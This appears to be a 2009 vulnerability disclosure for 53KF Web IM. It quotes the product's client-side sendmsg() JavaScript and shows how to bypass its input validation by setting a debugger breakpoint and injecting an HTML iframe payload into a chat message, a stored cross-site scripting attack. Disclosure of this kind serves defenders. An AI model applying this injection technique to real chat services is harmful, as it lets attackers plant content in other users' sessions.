Application: 53KF Web IM
Vendor: www.53kf.com
Corporation: LiuDu, Inc.
Version: Latest: (19 JAN 2009) - Home Edition, Enterprise & Professional
Description: 53KF Web IM 2009 Cross-Site Scripting Vulnerabilities

Background:
==============
53KF is a web-based group chat tool that lets invite a client,
colleague, or vendor to chat, and collaborate.More than 220,000
websites in the use of 53KF.

Vulnerability:
==============
They do not properly sanitize the potentially malicious input content
to be rendered and, as a result, an attacker might provide malicious
HTML content as part of an IM message. There is a client-side only
input validation.

Exploit:
==============

156function sendmsg() {
157 try{textCounter(document.getElementById("input1"),1000)}catch(e){}
158 msg=document.getElementById("input1").value;
159 if (msg.trim()=="") {
160 return;
161 }
162 msg=UBBEncode(msg);
163 document.getElementById("input1").value="";
164 display_msg("<font color=\"#666666\">"+infos[13]+":
"+getTime2()+"</font><br>&nbsp;&nbsp;"+UBBCode(msg.trim()));
165 try{msg=msgFilter(msg);}catch(e){}
166 if(usezzdy=="1"){
167 var rmsg=sendtext(msg);
168 display_msg("<font
color=\"#666666\">"+infos[57]+":</font><br>&nbsp;&nbsp;<font
color=\"#0000CE\">"+rmsg+"</font>");
169 }else{
170 if (typeof(rec_stat)!="undefined" && rec_stat==1){
171 push_info("post","REC",mytempid,"11",UBBCode(msg.trim()),getTime());
172 display_msg("<font
color=\"#666666\">"+infos[29]+":</font><br>&nbsp;&nbsp;<font
color=\"#0000CE\">"+UBBCode(UBBEncode(lword_prompt))+"</font>");
173 }
174 else{
175 qstmsg(UBBCode(msg.trim()));
176 }
177 }
178 if (talk_fee_type==1)
179 {
180 talk_fee_type=0;
181 url="http://www.53kf.cn/v5_talk.php?talk_fee_type=1&arg="+arg+"&style="+style;
182 rpc(url);
183 }
184
185 if(istalktype==1)
186 {
187 istalktype=0;
188 url="http://www.53kf.cn/istalk.php?companyid="+company_id+"&istalk=1";
189 rpc(url);
190 }
191}

SET BREAKPOINT(firebug, etc) AT 164TH LINE, AND SET NEW VALUE:
msg = "<iframe width=800 height=600 src='httP://WWW.g.cn'></iframe>"

=========================
xisigr[topsec]
xisigr@gmail.com


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